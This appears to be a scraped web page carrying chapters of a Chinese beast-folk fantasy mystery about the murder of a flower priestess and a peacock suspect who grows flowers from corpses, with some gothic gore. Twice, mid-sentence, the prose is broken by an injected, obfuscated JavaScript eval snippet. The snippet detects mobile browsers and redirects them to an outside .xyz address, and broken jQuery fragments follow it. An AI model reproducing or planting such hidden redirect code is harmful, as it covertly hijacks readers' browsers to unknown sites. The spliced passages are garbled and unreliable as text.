苏挽棠却不恼,捏着染脏的布料端详片刻,忽然拿起剪刀剪下一块:"正好,这儿可以补朵开败的芍药,花神的裙摆本就该有盛放与凋零。" "挽棠姐,"方妙看着对方细心缝纫的模样,好奇询问"今年巡游真的能引来千蝶吗?"她想起今早路过西街时,看见工匠们正在扎蝴蝶灯阵,那些薄如蝉翼的绢翅上,都用金粉勾勒着苏挽棠教她辨认的鸢尾脉络。 苏挽棠忽然握住她染着颜料的手,指尖轻轻摩挲她掌心的纹路,"你看这蜀锦上的牡丹,"她用银簪挑起一块水红色布料,"每片花瓣的纹路都不一样,就像这世上没有两只相同的蝴蝶。"阳光透过窗棂洒在她发间,将深棕的发丝染成金红色,"只要诚心与自然相通,它们自会听见召唤。" 院外突然传来扑棱棱的声响,顾时夜撞开院门,翅膀上沾着金黄的花粉:"方妙!江大人那家伙又把巡游图弄湿了!"话音未落,浑身湿漉漉的顾夜白跟着飞进来,"他尾巴上的水甩了我们一身!" 方妙跟着他们跑到街角的时候,正看见江知烨站在井边甩尾巴。溅起的水珠在青石板上画出蜿蜒的水痕。见她走来,江知烨尴尬地挠了挠头,将卷好的羊皮卷塞进她怀里:"南边暗河的支流图,让安德鲁过目后尽早还我。" "又甩尾巴玩水!"方妙捏着湿哒哒的纸边,"花朝节巡游图要是毁了,你担待得起吗?" 江知烨挑眉,突然在她脚边甩出个小水花:"知道了,方小姐。下次我用爪子捧水玩如何?" "江知烨!"方妙跺脚,却不小心踩进水洼里,靴底顿时湿透。 安德鲁的狮子吼适时传来:"都在干什么?花朝节巡游路线若出差池,你们都别想参加庆典!" 见状江知烨立刻收敛笑意,冲方妙挤挤眼,下一秒一溜烟跑没影了,只剩下顾氏兄弟被拎着后颈说教。 下午酉时三刻,方妙抱着空糖罐晃进"花月满人间"酒坊。柳漠澜正倚在柜台后擦拭酒坛,"今儿怎么来得这般晚?" "帮挽棠姐改花神裙呢。"方妙将糖罐推过去,"上次说的醉花酿..." "早给你留着。"柳漠澜打开暗格,取出个绘着缠枝莲的青瓷瓶,"不过这次要拿东西来换——替我给苏姑娘带句话:''旧月照新人,莫负三春约''。" 方妙听此挑眉,指尖摩挲着瓶身纹路:"柳老板这是......有旧情?" 酒坊老板突然发出低低的笑声,:"小姑娘家家的,别乱打听。"他忽然看向门口,"有人找你。" 来人是个戴着斗笠的灰兔兽人,怀里抱着个用油纸包着的匣子。"方妙姑娘,我家主子说请您转交花神娘娘。"兔子的长耳朵紧张地颤动着,凑近时压低声音,"切记,只能让苏姑娘一人打开。" 方妙刚接过匣子,街道上突然传来惊呼:"不好了!西街的蝴蝶灯阵......有人纵火!" 赶到西街时,火势已顺着灯笼架蔓延到二楼。 火光映红了半边天,方妙挤进人群跑过去时,听见安德鲁大吼着命令:"散开救火!"。 浓烟中,方妙忽然看见,火光中闪过个戴着虎族面具的身影,怀里抱着个昏迷的少女,粉色襦裙一闪而过,她一眼认出那是苏挽棠的侍女春桃! "追!" 方妙本能地要冲上去,却被江知烨一把拉住。冰凉的指尖扣住她的手腕,语气颇为急切:"你带顾时夜顾夜白去花神楼!快去看看苏挽棠!" 当他们撞开花神楼的木门时,眼前的景象让时间瞬间凝固。 苏挽棠静静地躺在落地窗前,背后的蝴蝶翅膀已经失去光泽,胸口插着的正是她日常佩戴的银簪。 花环散落一地,几枝新鲜的勿忘我混在其中,几只蝴蝶停在她的指尖,翅膀却不再扇动,像是被定格在死亡的瞬间。 "挽棠姐..."方妙的膝盖撞在青石板上,疼得发麻。 江知烨蹲下身检查伤口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694749|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“伤口很干净,没有挣扎痕迹。” 花神女的死讯像野火般传遍全城。当夜幕降临时,花神楼外聚集了无数兽人,他们捧着鲜花,低声祈祷。 大祭司——那位有着翡翠色双眸的老妇人,拄着拐杖缓缓走来,每一步都伴随着铃铛的轻响:"花神女是与自然沟通的媒介,若是花朝节没有出现神女的祝福,春神的恩泽将不再降临。" 她的声音颤抖,像秋风中的枯叶。 顾夜白忍不住嘀咕:"春天每年都来啊..."话未说完就被顾时夜掐住腰,疼得龇牙咧嘴。 “小点声,被听见了想挨打啊!” “那现在还能再选出一个新神女吗”安德鲁双手抱臂站在最前面,低声询问。 "可哪来得及啊!"负责庆典的祭祀老者哭丧着脸,皱纹里积满泪水,"苏挽棠是千年来唯一能召唤千蝶的花神女,如今上哪儿再找这样的人才?" 方妙蜷缩在角落,怀里还抱着苏挽棠未完成的花神裙,指尖还沾着未干的染料。她忽然想起下午苏挽棠说的话:"花神的裙摆本就该有盛放与凋零。"此刻那些绣着牡丹的锦缎,在烛光下显得格外刺眼。 明明上午还好好活着的人,下午就没了生息。 安德鲁蹲在她面前,用指尖轻轻擦去她脸上的泪痕。手掌带着温热的温度,指腹上有常年握剑留下的茧:"妙儿,你愿意试试吗?你跟挽棠最亲近,她一定教过你不少本事。" "我......"方妙攥紧手中的锦缎,"我只是个从漠北来的野丫头,连蝴蝶的名字都认不全......" "胡说。"江知烨突然开口,"我亲眼见过你跟着苏挽棠辨认三百种花卉,前几日还帮她驯服了脾气最暴躁的凤蝶。你比任何人都适合。" 顾夜白扑棱着翅膀飞过来,同样也蹲下来,"妙儿姐姐一定可以的!去年花朝节,你还帮挽棠姐姐找到了失踪的蝴蝶卵呢!"顾时夜跟着点头,:"我们会帮你准备巡游用的蝴蝶灯,江大人那家伙可以负责路线安全,安大人也会帮你处理好巡游的一切的......" "还有我。"白鸽不知何时进来,手里捧着苏挽棠的银簪,"挽棠姐姐的笔记都在阁楼的木箱里,我陪你一起看。"方妙看着周围熟悉的面孔,忽然想起苏挽棠第一次带她认鸢尾花时说的话:"用心听,自然会告诉你答案。"她深吸一口气,嗅到空气中残留的茉莉香——那是苏挽棠常用的香粉味道。 "好。"方妙站起身,"我试试。" 大祭司露出欣慰的笑:"明日起开始特训。记住,花神女的关键不在于技巧,而在于与自然的共鸣。苏挽棠选中你,一定有她的理由。" 江知烨忽然转身走向门 ,"我去酒坊一趟。“他的声音有些沙哑,"有些事情需要确认。” 安德鲁轻轻拍了拍方妙的肩膀,递来一块温热的糖糕:"先吃点东西。训练从明天黎明开始,我会亲自盯着你。" 方妙咬下一口糖糕,甜味在舌尖散开,混着空气中的硝烟味,竟有一丝苦涩。她抬头望向窗外,夜幕中的星子正一颗颗亮起,像苏挽棠眼中的虹彩。 "放心吧,挽棠姐。"她对着虚空低语,"我会让千蝶在花朝节那天重新飞起。哪怕......"她攥紧拳头,指甲陷入掌心,"哪怕要付出任何代价。" 18. 神,爱我 “所以,你让方妙带的那句话是什么意思啊?”江知烨倚在雕花木柜台旁,指节轻叩台面。 柳漠澜指尖一顿,算珠相撞发出清脆声响。抬眼时,睫毛在眼下投出细碎阴影,:“什么话?”话音未落,手中毛笔已蘸饱松烟墨,在账本上落下个力透纸背的“叁”字。 “‘旧月照新人,莫负三春约’。”江知烨拖过一把梨木椅,椅腿在青砖上刮出刺耳声响,:“总不能是方妙那丫头编的吧。” 柳漠澜垂眸吹了吹墨迹,:“字面意思。”笔杆在指间转了个圈,精准点中算盘第三档的铜珠,“江大人查案查到在下的酒楼,莫不是觉得这算珠里藏着凶犯?” “你和苏挽棠以前认识。”江知烨直截了当地说,手肘撑在柜台上,身体前倾,:“说说看?” 柳漠澜终于放下毛笔,指尖抵着下巴望向窗外。 雨丝在雕花窗棂上织成帘幕,远处河水泛着暗青色,恍惚让人想起南清城的旧时光。 “毕竟都是在南清城生活的,低头不见抬头见的,怎么可能不认识。”他的声音忽然低了些,指腹摩挲着算盘边缘的包浆,“何况...她曾在我这儿学过酿酒。” “学酿酒?” “江大人当这‘花酒’二字是虚的?”柳漠澜忽然笑了,“苏姑娘总说想酿出能让人想起春天的酒。”他顿了顿,从柜台下取出个青瓷酒盏,盏底绘着半开的樱花,“后来她学会了酿‘三春醉’,每年花朝节都要偷喝我的私藏。” 江知烨注意到他用了“偷喝”二字,语气里竟带了几分宠溺。心中忽然泛起酸涩,他也说不清这情绪从何而来,只伸手按住对方欲收走酒盏的手:“那诗句...是你们的约定?” 柳漠澜的指尖在他掌心轻轻一颤,迅速抽回手,从袖中取出帕子擦拭桌面:“不过是文人酸话。每年花朝节后,我们会去城东樱园赏樱,她总说‘旧月照新人’,说月亮看过太多离合,我们不该负了春光。”他的声音渐低,最后几个字几乎被雨声吞没,“今年...怕是去不成了。” 雨声突然急了,檐角水滴砸在青石板上溅起水花。 江知烨咽下心中那种不舒服,继续询问,“那方妙带回来的木匣子,里面有什么?” 柳漠澜笑了笑“江大人该去问送匣子的人,问我作甚?” “那你可知?这人在哪?”江知烨起身逼近,直至只离三寸距离。 柳漠澜忽然轻笑出声,向后退了半步,后腰抵在柜台边缘。他抬手轻轻在江知烨胸前画圈,那动作带着几分自毁般的诱惑:“江大人当我是万事通?南清城兽族千奇百怪.....不过,要说住处,许是在霞水居吧。” “那柳老板知道勿忘我这花是什么意思吗”江知烨的声音突然沉下来。 柜台后的烛火突然晃了晃,险些熄灭。柳漠澜垂眸看着自己在账本上投下的影子,像在看一段褪色的旧梦。“真挚的感情,永恒的思念” “是嘛”江知烨思考良久,:“我突然觉得这场案件是情杀了。” “所以呢,大人还要在我这耗吗,莫要让凶手跑了啊。”柳漠澜轻轻一笑,将人推开,:“不过这坛‘三春醉’,本该是今年赏樱时喝的...现在她人都没了,酒又有什么意思?” 江知烨看着他泛红的眼角,忽然意识到这个总是笑眼盈盈的酒楼老板,眼底藏着极深的伤。 他伸手按住柳漠澜握酒坛的手,触感凉得惊人:“我会查到凶手。”顿了顿,又补上一句,“用我的方式。” 柳漠澜抬头看他,两人目光相撞的瞬间,窗外惊雷炸响。 雨声中,江知烨听见自己心跳如鼓。 “霞水居的孔雀兽人...”柳漠澜忽然压低声音,“姓云,名彻。他有个癖好,喜欢用猎物的骨头雕樱花。”他从怀中掏出枚银钥匙,钥匙环上系着半片干花,“这是苏姑娘临死前几日塞给我的,说打开城南老宅的地窖,能找到证据。” 江知烨接过钥匙,指腹蹭过干花碎屑,嗅到一丝若有似无的樱花香,“为什么现在告诉我?”他盯着柳漠澜的眼睛,试图找出一丝隐瞒。 “因为...”柳漠澜抬手替他整理衣襟,“江大人说过,案件结束后要带我去赏樱。”他嘴角扬起苦涩的笑,“我想看看,没有她的樱园,是否还像从前一样美。” 雨声渐缓,檐角漏下的水滴在青石板上敲出空灵的节奏。江知烨握紧钥匙,忽然伸手握住柳漠澜的手腕:“等案子了结,我带你去看最好的樱花。”他犹豫片刻,又轻声添了句,“不是以大人的身份。” 柳漠澜的瞳孔微微震颤,皮肤泛起薄红。他轻轻抽回手,转身将那坛“三春醉”收入柜底:“江大人该走了,等会儿有位贵客要取酒。”声音恢复了平日的清润,却在低头时,让江知烨瞥见睫毛上的水光。 走出酒楼时,暮色已浓。江知烨握紧钥匙,身后“花月满人间”的灯笼亮起,暖黄的光透过雕花窗,将某个倚在柜台后的身影拉得很长,很长。 早春的晨雾还未散尽,江知烨的官靴已踩过三道蜿蜒的石板桥。霞水居的青瓦在晨霭中若隐若现,远远望去像浮在绿浪上的一艘孤舟——这是他第一次来这种远离人烟的庄园,沿途所见的杜鹃开得反常艳丽。 穿过月洞门时,管家说公子在后山水潭边。碎石小径旁的月季开得如火如荼,本该是仲夏夜的花期,此刻却挤挤攘攘压弯了枝头。江知烨伸手轻触花瓣,指尖沾了些露水,凑近闻时却嗅到一丝若有若无的腐味,像久置的胭脂水粉混着潮湿泥土。他皱眉收回手,瞥见石缝里钻出几株勿忘我,淡紫色的花球蔫蔫的,花瓣边缘泛着可疑的灰黑。 水潭边的景象让他脚步一顿。穿月白锦袍的公子正半跪在青苔上,修长指尖抚过暗夜樱的花瓣。那花通体墨紫,蕊心却泛着暗红,本该在深秋绽放的品种,此刻却开得妖冶欲滴。公子身后拖曳着一条孔雀尾,斑斓翎羽扫过湿润的泥土,留下细碎的金绿色痕迹。 “云公子。”江知烨抬手作揖。 那人转身时,江知烨这才看清他眼角点着颗泪痣,肤色白得近乎透明,在晨雾中像具精致的琉璃人偶。 “大人远来,不知有何指教?”云彻指尖还沾着花泥,笑容却温文尔雅,仿佛早料到会有访客。 腰间的鎏金腰牌被递到眼前时,云彻的瞳孔微微收缩。江知烨敏锐捕捉到这个细节,不动声色地开口:“苏挽棠小姐的案子,公子可曾听闻?” “挽棠?”云彻手中的青瓷花铲“当啷”落地,砸在鹅卵石上迸出脆响。他踉跄着退半步,孔雀尾扫翻了脚边的青瓷花盆,黑土中露出半截白骨——细看竟是人的指骨。 江知烨瞳孔骤缩,却见云彻已慌忙用衣袖盖住,指尖微微发抖:“抱歉,这是...园中养的猫狗骸骨,在下习惯用...腐骨养花。” 腐骨养花。这四个字让江知烨有些震惊,随后悄无声息地转移视线:“云公子与苏小姐是旧识?” “何止旧识。”云彻忽然低笑,指尖抚过暗夜樱的花瓣,“她是我心尖上的人。大人可知,这暗夜樱是她亲手所栽?她说待花开时,要穿茜纱裙在花下起舞。”他声音突然哽咽,指节因用力而泛白,“可如今花已开了三载,她却...” 江知烨盯着他颤抖的肩膀,正要开口,云彻却忽然剧烈咳嗽起来,手帕掩住唇间,指缝漏出几点猩红。 “失礼了。”云彻擦净嘴角,苍白的脸上泛起病态的潮红,“在下一直患有咳疾。大夫说...是心疾难治。” “苏小姐...已经死了。”江知烨决定开门见山。 霎时间,云彻的表情从震惊转为崩溃。他踉跄着扶住石案,青瓷笔洗“砰”地摔碎在地,墨汁蜿蜒成狰狞的血迹。“不可能...”他喃喃自语,突然抓住江知烨的手腕,指甲几乎掐进对方皮肉,“你骗我!她前日还托梦说要来看花!” 江知烨被他指尖的力道惊到。 哭声突然戛然而止。 云彻松开手,从袖中取出银镜补妆,指尖蘸着口脂点在泪痣上,动作优雅得近乎诡异。“抱歉,让大人见笑了。”他重新戴上温文尔雅的面具,"大人定是觉得在下癫狂?可这世上......"他忽然噤声,抬眼望向远处层层叠叠的花墙,目光落在一株开得正盛的西府海棠上,那花枝本该柔弱低垂,此刻却直直指向天际,像是被无形的手强行掰正。 “苏小姐的死......”江知烨斟酌着措辞,"我们在她身边发现了勿忘我。" "勿忘我......"云彻重复着,忽然剧烈咳嗽起来。江知烨这才注意到他眼下青黑浓重,好像多日未眠。 溪风忽然转急,卷着几片暗夜樱花瓣扑在江知烨脸上。他后退半步避开,却见云彻盯着飘落的花瓣出神,嘴角泛起古怪的微笑,仿佛那不是凋零的花,而是某种鲜活的生命。 “抱歉,让大人见笑了。”云彻忽然起身,孔雀尾扫过石台,将那瓷瓶扫进溪水中。瓶身翻转间,江知烨瞥见内壁凝结的暗褐色物质,像干涸的血迹。"今日实在无心待客,大人若想赏花......"他抬手虚指东侧花廊,"素心兰开得正好。" 江知烨目送云彻离去,直到他的身影消失在月洞门后,才转身走向相反方向。越往深处走,气温越低,转过一道爬满紫藤的廊道,眼前忽然绽开一片莹白——无数朵水晶兰在阴影中亭亭玉立,花瓣通透如冰,花蕊处却泛着淡淡的粉。 他下意识伸手触碰,指尖尚未及花瓣,身后突然响起急促的脚步声。云彻不知何时出现在身后,发丝凌乱,胸口剧烈起伏,刚才的病弱之气一扫而空,眼中竟有厉色闪过:"大人为何来此?" 江知烨后退半步,撞上身后的花架,几串含苞待放的铃兰簌簌坠落。他注意到云彻此刻盯着水晶兰的眼神,如同是在看某种禁忌之物。 “迷路了。”江知烨举起双手示意无害,余光却瞥见水晶兰根部覆盖着一层黑色腐殖质,其中混着几片碎骨般的白色物体。"这花......" “不过是些野草。”云彻打断他,袖中滑落出一把银剪,锋利刃口还沾着绿色汁液。他弯腰修剪花枝的动作格外粗暴,"大人若喜欢,明日我让人送些素心兰去府上。" 江知烨注意到云彻始终用身体挡住北侧花墙,那里似乎有片更密集的水晶兰,花茎比别处粗壮许多,顶端的花苞大如拳头,隐约透出诡异的脉动。他刚要开口,一阵山风掠过,带来隐约的腐香。 “不必了。”江知烨后退两步,故意踢到脚边的花盆,陶土碎裂声中,露出盆底缠绕的白色根须。云彻的脸色瞬间煞白,却在转瞬之间换上温和笑意,只是指尖紧握银剪的关节泛着青白。 “那在下送大人出去。”云彻的声音恢复了平日的温润,却多了几分刻意的僵硬。两人沿着原路返回时,江知烨注意到先前盛开的牡丹竟有半数闭合,花瓣边缘泛起焦黑,像是被烈日灼伤。路过那处溪水时,他瞥见水中漂着几片暗夜樱花瓣,正随着水流聚成一个漩涡。 回到理尚府已是酉时,天边堆起铅灰色的云。 江知烨踩着石阶走向停尸房,却在推开门的瞬间猛然僵住——原本停放苏挽棠尸体的木床空空如也,只有几片勿忘我散落在青砖上,花瓣上还沾着新鲜的泥土。他弯腰拾起花瓣,嗅到一丝若有似无的甜腥,与今日在云彻身边闻到的气息一模一样。 窗外忽然滚过一声闷雷,江知烨抬头望向霞水居方向,他想起云彻修剪花枝时的神情,那不是对待普通花卉的态度,而是像在照料某种需要精心呵护的......生命体。 一些古籍中记载了"尸花"传说,那些依靠腐殖质生长的诡异植物,会在尸体旁开出妖艳的花,而花的颜色,往往取决于土壤中残留的——养分。 江知烨握紧腰间的佩刀,转身走向马厩。身后停尸房的窗棂被风吹得吱呀作响,一片水晶兰的花瓣不知何时飘落在地上,通透的花瓣下,隐约可见细密的血管状纹路,在暮色中泛着诡异的生机。 靠在都察院西侧月洞门的青砖墙上,江知烨指间转着一枚乌木令牌,令牌边角磨得发亮。里头正传来安德鲁不耐烦的嗓音:"......说了第十遍,杂食府的兽类登记该走草木司流程,你们非要扯到肉食部的漕运税——" 江知烨听着里头桌椅挪动的声响。檐角风铃被穿堂风卷起,叮铃一声脆响里,安德鲁终于推门出来。 "可算把那群翰林熬走了。"安德鲁抬手揉了揉太阳穴,一边走过来一边抱怨,"从巳时吵到申时,还是为杂食府划归的老账。大理寺的白朗非要拽着我论证獾族该算荤食还是素食,你说可笑不可笑?"说着便解下腰间的玉带,随手扔在石桌上,玉扣与青石相碰发出清越的声响,:“昨儿个还有个御史递折子,说要按牙齿构造定归属,荒唐。” 江知烨挑眉看他:"往常你总说文官嘴皮子厉害,今日倒像是被磨掉了半颗牙。"他指尖的令牌转得更快,"没顺道提我那事?" "提?"安德鲁从石桌上抓起个青釉茶盏,才发现早已凉透,遂又放下,"上回你递的文书刚让都御史批了''查无实证'',这会儿再提,怕是要被御史台的言官拿笔杆子戳脊梁骨。"他瞥了一眼江知烨,浓眉一蹙,"不过你倒清闲,往这儿一靠就等现成。" "还不是等大人您——处理完陈年旧账。"江知烨挑眉,吊儿郎当地一摊手,"方才在霞水居淋了雨,倒觉得这廊下比那满院妖花舒服些。" "霞水居?你去那干嘛?苏挽棠的案子有眉目了?" "眉目没寻着,倒见着些邪门事。你知道那庄子的主人吧,叫云彻。今早那庄子里的杜鹃开得比血还艳,月季压弯了枝,连本该深秋的暗夜樱都开得妖冶。最怪的是他说——"他顿了顿,"用腐骨养花。" "腐骨养花不算稀奇,南疆巫医常用枯骨做花肥。但不分花期......"安德鲁思考片刻后,继续说道,"我等会去叫人查查那人的底细,对了,你听说过画皮妖吗,我刚翻了点以前的案账,才知道西境一直有着画皮妖的存在,百年前才归化兽盟,不过一直受人唾弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694750|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。" "画皮妖?"江知烨想起云彻眼角那颗泪痣,白得透明的肤色在晨雾里泛着琉璃光,:“倒是稀奇。” 难怪他那孔雀尾拖在地上,倒像戏台子上的精怪。 江知烨压低声音,目光扫过廊外巡逻的衙役,"对了,霞水居那边,我在水晶兰根部见着碎骨,比指骨还小些,云彻修剪花枝时,花茎渗出的汁液能把腐殖质蚀得滋滋响——" 下一秒安德鲁突然拽着他闪进耳房,反手闩上门。房里堆着半人高的文牍,最上头压着个贴满朱砂封条的木匣。 "之前方妙带回来的木匣子——"安德鲁敲了敲匣身,木纹里已经渗着暗黄斑点,"里头除了全是骨粉。方才送去验尸房,仵作说掺了三四种兽骨,还有......"他顿了顿,"还有多种幻心散成分。" 窗棂被风拍得哐当响,江知烨盯着那木匣子,脑海里浮现出霞水居月洞门下翻出的半截指骨。云彻用衣袖盖住时,指尖抖得像秋风里的残叶,可转眼又能笑着补妆,那点病态的潮红在苍白面皮上晃得人眼晕。"他说苏挽棠是心尖人,"江知烨手指微曲抵在下巴,"可我提苏挽棠死讯时,他先崩溃后补妆,那模样倒像戏班子里换脸谱的伶人。" "心尖人?"安德鲁嗤笑一声,"苏挽棠上个月还在杂食府帮流民缝补衣裳,云彻那庄子才迁来多久,能有多少情分?倒是春桃被拐这事透着蹊跷——"他突然住口,侧耳听着窗外动静,压低声音道,"今早城门官报,寅时末有个戴虎族面具的人用独轮车运草垛出城,车辙印在东溪桥断了。" "虎族面具?"江知烨回想起苏挽棠尸身旁散落的勿忘我,花瓣上沾着与云彻身上相同的甜腥气,"春桃是苏挽棠的贴身侍女,被拐当日正是苏挽棠遇害。若说绑架是为引开视线......"他猛地抬头,撞见安德鲁同样锐利的目光,"你知道苏挽棠尸体被盗了吗?" “被盗了?”安德鲁瞳孔震惊,声音陡然拔高了几分。 “对,除此之外,柳漠澜给了我一把钥匙,说是苏姑娘临死前几日塞给他的,说打开城南老宅的地窖,能找到证据。” 闻言安德鲁忽然起身,从文牍堆里翻出张泛黄的舆图。城南民区的街巷被朱砂勾出歪扭的线条,在一处标着"废园"的地方打了个红叉:"柳漠澜给的钥匙?我记得那废园之前改成了兽皮作坊,十年前着了场大火,成了断壁残垣又被改成民区了。"他指尖划过红叉,忽然停在废园西侧的溪流处,"霞水居的溪水也是往这流的。" 江知烨盯着舆图日有所思——霞水居溪水里打转的暗夜樱花瓣,那些深紫花瓣聚成漩涡时,水底隐约有白影浮动。云彻用银剪修剪水晶兰时,故意用孔雀尾挡住北侧花墙,那里的花苞大如拳头,在暮色里泛着脉动般的红光,像极了古籍里记载的"尸花"——以腐肉为养分,花开时色如凝血。 "我让白鸽带顾时夜他们去城南废园,"江知烨将钥匙拍在舆图上,"你派些人去霞水居外围盯着,尤其注意后山水潭。今早我见他往溪里扔了个瓷瓶,内壁凝着干涸血迹。" "还有件事,"安德鲁忽然从案底抽出张薄纸,纸上是仵作的验尸批注,"苏挽棠指甲缝里藏有泥灰,除了普通泥土,还有红胶土,还有......袖口花粉。”安德鲁将纸推到江知烨面前,批注末尾用朱砂写着三个小字:水晶兰。 内心在这一刻达到顶峰,仿佛烟花炸开。江知烨盯着那三个字,霎时间,脑海里出现云彻修剪水晶兰时,剪下的花茎渗出乳白汁液,落在腐殖质上发出的滋滋声——那不是蚀腐,更像是——哺喂。那些开得异常粗壮的水晶兰,根部缠绕的白色根须...... "大人.......我怀疑苏挽棠不是被杀死的。" 安德鲁抬眼看他,烛火在他瞳孔里跳了跳:"哦?" "她更像......被当成了花肥。"江知烨想起古籍里的记载,尸花需以活物精血浇灌,花开时便能借花还魂,"云彻要的不是她的命,是让她以另一种方式''活着''——活在他的园子里,活在那些永不凋零的花里。" 铜灯突然爆出灯花,照亮安德鲁骤然沉下的脸。檐外传来衙役跑动的脚步声,伴随着惊慌的呼喊:"左都御史!城南方向火光冲天——" 两人对视一眼,同时推门而出。天幕中,城南方向腾起半片紫黑火光,那是暗夜樱燃烧时特有的颜色,浓烟里隐约飘着甜腻的焦香。 此刻,那片火光中,不知有多少朵水晶兰正在绽放,花瓣通透如冰,花蕊处泛着诡异的粉——那是暮色染上的腮红,还是刚凝结的血丝? 抬手轻拂过花瓣,上面竟渗出几滴水珠,在暮色中像眼泪般坠落。 水晶花——此花名为‘望乡’,只在...亲人魂魄经过的地方盛开。 云彻抬手接住一片飘落的花瓣,放在唇边轻吻,“昨夜听见花田中有动静,以为是你回来了,特意备了你最爱吃的糖蒸酥酪...” 它们每滴一次泪,就有一个灵魂被留住。挽棠那么怕冷,若是魂魄迷路了,定会躲在这花田里... 云彻忽然剧烈咳嗽起来,指缝间渗出的血滴在水晶兰上,竟开出妖异的红梅状斑纹。 “大人你可知,尸体是会回家的。”云彻直起身子,疯癫的似地在花海里挥动广袖。 “大人看,挽棠果然回来了。” “她知道我离不开她,所以化作了最美丽的花...” 公子哥的掌心不再有温度,冰冷得像刚从井里捞出来的玉石。火光中,云彻跪坐在尸体旁,温柔地为其梳理长发,指尖缠绕着栗色与银白相间的发丝。 水晶兰在月色里浮着莹白微光,苏挽棠跪坐花海中央,她下半身已与大自然合为一体,苍白根系从裙摆缝隙蔓延而出,像水晶兰的茎脉般嵌进土壤。夜风掠过,通透花瓣擦过她凝滞的眼睑,恍若她仍在倾听花海深处的簌簌心跳。 云彻捧起苏挽棠的脸颊,“挽棠,你看这些花,哪一朵不是用最纯净的养分浇灌?你说过——你死后要化作春泥更护花,如今你就在这花丛里,每一朵花都是你的笑容...”他忽然捧起一把泥土,里面混着细碎的人骨,“你闻闻,这泥土里都是你的味道,比任何香料都要芬芳。” 云彻微笑着亲吻花神的薄唇,那笑容里藏着的不是悲伤,而是某种近乎狂喜的释然。 所有不合时宜的花开,都是一场精心策划的葬礼;而那满园的芬芳,不过是死亡盛开的另一种模样。 我摘不下神坛的星,就碾碎祂喉间的光。 用祂心脏的余温浇筑花瓮,让血液漫过鳞茎,看神明的残骸在我掌心结出水晶兰。 肋骨被磨成花签串起月光,指骨碾碎成粉滋养花泥,当最后一片神翼腐成春泥——我终于在血肉模糊的虔诚里,吻上您永不开口的唇。 神啊,你坠落的姿势真像我为您备下的祭品,连死亡都替我完成了拥抱。 我得不到飞升的神明,便将祂拆成零件种进后院,从此风过处都是您属于我的簌簌声响。 19. 水晶兰影 暮春的风卷着苜蓿草籽掠过城南街巷时,顾时夜肩背的鸦羽正扫落墙角苔藓。 “哥,你看那花铺的地窖口,像不像被啃过?”顾夜白突然拽住顾时夜的袖子,“砖块缝里长着花呢!” 闻言三两步上前的白鸽却蹲下身,鸽翼收拢成伞状挡住斜射的夕照。他指尖碾过地窖口的黑土,指腹沾着的泥粒在掌纹里碎成齑粉:"这土不对。"鼻尖翕动间,草食区特有的草根腥气里混着若有似无的磷火味,"底下掺了腐骨粉,磨得比面粉还细。"他突然抬头,望向街尾那栋半塌的灰砖房,墙缝里渗出的液体在地上洇出紫黑痕迹,“去那边看看。” “踹门。”顾时夜拔刀抵在门闩上。 顾夜白却突然捂住鼻子:“哥,你闻这味……像春桃身上的桂花油!”他话音未落,地窖门“轰”地被踹开,一股混杂着腐味与花香的浊气扑面而来。 地窖比预想中宽敞,数十盏琉璃灯从梁上垂落,灯油里泡着晒干的蝶翼兰,昏黄光线穿透花瓣时,将四壁照得影影绰绰。顾时夜举刀拨开垂落的灯绳,却听顾夜白猛地倒抽冷气——墙角堆叠的陶瓮中,有个被艳红月季填满的瓮口正插着支银簪,簪头嵌着的东珠在灯光下晃出冷光。 顾夜白指着角落那个被鲜花填满的陶瓮:“那……那是春桃!” 瓮口插着艳红的月季,花茎穿透了少女的发髻,而她浸在深色液体里的身子,竟没了四肢,全缠着水晶兰的白色根须。 春桃被做成了人彘插花。 顾时夜蹲下身,用刀背敲了敲瓮壁:“液体是防腐的骨胶,根须……”他忽然顿住,挑起一根根须,只见末端沾着细小的牙印,“像是被什么东西啃过。” 白鸽却已掀开瓮底暗格,:“看这个。” 匣内半罐灰黑色粉末中埋着枚银质面具,虎口獠牙的造型正是春桃被拐时目击者描述的样式。 顾夜白伸手去拿,却被白鸽一把按住:“别碰!这是幻心散,闻多了能看见死人。” 就在此时,地窖穹顶的青瓦突然迸裂,碎瓷片混着泥灰簌簌坠落。顾时夜本能地旋身护向灯台,却见一道孔雀蓝的影子自窗棂外掠过,尾羽扫落的金粉如星屑般飘进琉璃灯盏。刹那间灯芯爆出幽蓝火焰,火苗舔舐着陶壁,将映在砖墙上的人影扭曲成诡谲的蝶形。 “追!”顾时夜展翅撞破木窗,却见那人影已落在巷口的槐树上。 “云彻?” 顾时夜拔刀出鞘,却见那人影咯咯笑起来,声音像碎玉相击:“小乌鸦,你看这花美吗?”他张开手掌,水晶兰的根须竟从指缝里钻出,缠绕成苏挽棠的面容,“她总说想看真正的花海,我便用她的骨血养了满庄子的花——” 话音未落,顾夜白已从西侧包抄而至。 "嘶啦"裂帛声中,万千蝶影自尾羽间迸飞,其中一只骨蝶直刺他喉间动脉。白鸽突然自檐角俯冲而下,鸽翼卷起的旋风将骨蝶绞成齑粉:"小心幻术!这不是本体!"他扬手撒出荧光粉,却见那粉末穿过人影,在砖墙上烫出幽绿的咒文。 